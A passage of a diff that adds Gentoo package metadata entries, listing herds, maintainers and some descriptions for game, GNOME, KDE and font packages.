+classical freedroid engine into an RPG.  The main differences to the
+classical version are as follows: 
+* The Tux is the main character of the rpg.  He is not displayed as a
+   ball like in Freedroid but rather as an animated character, while
+   other droids and humans in the game are still represented as the balls
+   with some number or code in them. 
+* Dialogs and chatting with friendly droids and humans:
+   Multiple-choice menus and voice samples (with subtitles for those
+   without sound). 
+* Melee weapons, armour and other items to be equipped have been
+   added. 
+* An automap feature was added.
+* Saving and loading of games.
+* A shop to trade things.
+* Controls are different:  Mouse can be used to do everything.
+   Joystick is not supported for moving around any more. 
+* The archive size (including sound samples) is about 10 times as big
+   as for the classical version.  I'd like to appologize to all 56K modem
+   owners at this point. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/gwiz">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/nwn">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/openglad">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/openrpg">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/pcgen">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/planeshift">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/twclone">
+<herd>games</herd>
+<longdescription>
+How many of you remeber the BBS days back in the late 80's and early 90's? 
+Back when you would call in play games and go on with your life? Well I'm 
+trying to duplicate one of those old games. It was called Trade Wars 
+2002(Created by Martech Software). So I decided to make a game similar to it 
+that runs in Linux.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/vegastrike">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-rpg/wastesedge">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/gta3mta">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halfd">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-adminmod">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-clanmod">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-cstrike">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-dpb">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-entmod">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-hlguard">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-hookmod">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-metamod">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-modsetup">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-ns">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-server">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-statsme">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/halflife-steam">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/hlstats">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/jediacademy-ded">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/jedioutcast-ded">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/monopd">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/mtavc">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/nwn-ded">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/tetrix">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-server/ut2003-ded">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/bcsdemo">
+<herd>games</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Building a bridge that doesn't break is what its all about, although watching 
+your bridge creation break and plunge a train into the watery depths below can be 
+half the fun. In the Bridge Construction Set you design and build bridges and 
+then stress test them to see how your creations hold up under pressure. If when 
+test vehicles pass over your bridge they make it safely across you know you've
+succeeded. If they plummet into the river you know you need to go back to the 
+drawing board.
+
+The robust physics deployed in the Bridge Construction Set let you build a wide 
+variety of bridges that can span the river. The 3D graphics allow you to view 
+your bridge from any angle including a first person train view - its like being 
+strapped to the front of the train when your bridge is first tested (if this 
+happened in real life I think we might have engineers checking all their bridges 
+in a simulator).
+
+The Bridge Construction Set includes many types of bridge building levels in 
+varying degrees of difficulty from simple to complex with a tutorial secition to 
+get you started. A Level Editor is also included so you can create your own 
+levels and trade them with others.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/cannonsmash">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/corewars">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/flightgear">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/gl117">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/lincity">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/planets">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/searchandrescue">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/senken">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/simutrans">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-simulation/stoned">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/billardgl">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/foobillard">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/foosball">
+<herd>games</herd>
+<longdescription>
+Foosball is an open source foosball (Table Football) game that uses SDL. It 
+allows you to play against the computer, to play against a friend, or to 
+watch a demo. Various formations and game speeds are available.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/gracer">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/race">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/racer-bin">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/soccar">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/torcs">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-sports/trophy">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/asc">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/attal">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/boson">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/castle-combat">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/crimson">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/dopewars">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/freeciv">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/freecnc">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/freecraft-fcmp">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/freecraft">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/freelords">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/lgeneral">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/liquidwar">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/netpanzer">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/scorched3d">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/spacehulk">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/tornado">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/uqm">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/wesnoth">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/xarchon">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/xbattle">
+<herd>games</herd>
+<maintainer>
+<email>mr_bones_@gentoo.org</email>
+<name>Michael Sterrett</name>
+</maintainer>
+<longdescription>
+From the HOMEPAGE:
+XBattle is a concurrent multi-player arcade/strategy game that captures
+the dynamics of a wide range of military situations through numerous
+options. The game board is a matrix of game cells which can be occupied
+by troops of various colors, with troop strength indicated by the size of
+colored markers within a cell. Troops are commanded by clicking the mouse
+near the edge of an occupied cell in the direction that movement is to take
+place. XBattle is concurrent, so that commands are given continuously by
+all players without waiting for turns. A command will be acknowledged by
+the appearance of a command vector, and thereafter, in each update cycle,
+a certain proportion of the troops will move from the source cell to the
+destination cell. In this way, troops can be slowly redistributed via
+supply lines which steadily deliver troops to their endpoints. Troops
+of different colors engage in battle whenever they come to occupy the
+same cell. A wide variety of options are available for configuring troop
+movement, distribution, and production.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="games-strategy/xscorch">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/atlas">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/hearse">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/qstat">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/searchtool">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/showeq">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/uglygs">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/umodpack">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/xboxgw">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="games-util/xqf">
+<herd>games</herd>
+<maintainer>
+<email>games@gentoo.org</email>
+<name>Games Team</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/ORBit">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/ORBit2">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/bonobo-activation">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/bonobo">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/control-center">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/eel">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gail">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gconf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gdm">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-applets">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-common">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-core">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-desktop">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-libs">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-light">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-mime-data">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-panel">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-print">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-session">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome-vfs">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/gnome">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libbonobo">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libbonoboui">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libghttp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libglade">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libgnome">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libgnomecanvas">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libgnomeprint">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libgnomeprintui">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libgnomeui">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/libgtop">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/librsvg">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/nautilus">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-base/oaf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/acme">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/at-poke">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/at-spi">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/battstat">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/bonobo-conf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/bug-buddy">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/drwright">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/fontilus">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gal">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gcalctool">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gconf-editor">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gdesklets-core">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/glibwww">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnobog">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-audio">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-db">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-games">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-mag">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-media">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-network">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-pim">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-speech">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-swallow">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-system-monitor">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-utils">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-vfs-extras">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome-vfs-sftp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnome2-user-docs">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gnopernicus">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gok">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gtkhtml">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gtop">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/gucharmap">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/guppi">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/hardware-monitor">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/libgail-gnome">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/libgda">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/libgnomedb">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/libgsf">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/libgtkhtml">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/lock-keys-applet">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/medusa">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/merlin-cpufire">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/nautilus-cd-burner">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/nautilus-gtkhtml">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/nautilus-media">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/power-applet">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/quick-lounge-applet">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/shermans-aquarium">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/users-guide">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/yelp">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="gnome-extra/zenity">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/arts">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kde-env">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kde-i18n">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kde">
+<herd>kde-core</herd>
+<longdescription>
+Kde is a broadly used desktop environment. This package installs all 
+non-development parts of the kde desktop environment. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdeaccessibility">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdeaddons">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdeadmin">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdeartwork">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdebase">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdebindings">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdeedu">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdegames">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdegraphics">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdelibs">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdemultimedia">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdenetwork">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdepim">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdesdk">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdetoys">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="kde-base/kdeutils">
+<herd>kde-core</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/acroread-asianfonts">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/aquafont">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/arphicfonts">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/baekmuk-fonts">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/efont-unicode">
+<herd>cjk</herd>
+<herd>xfree</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/jisx0213-fonts">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/kochi-substitute">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/konfont">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="media-fonts/mikachan-font">
+<herd>cjk</herd>
+<herd>xfree</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
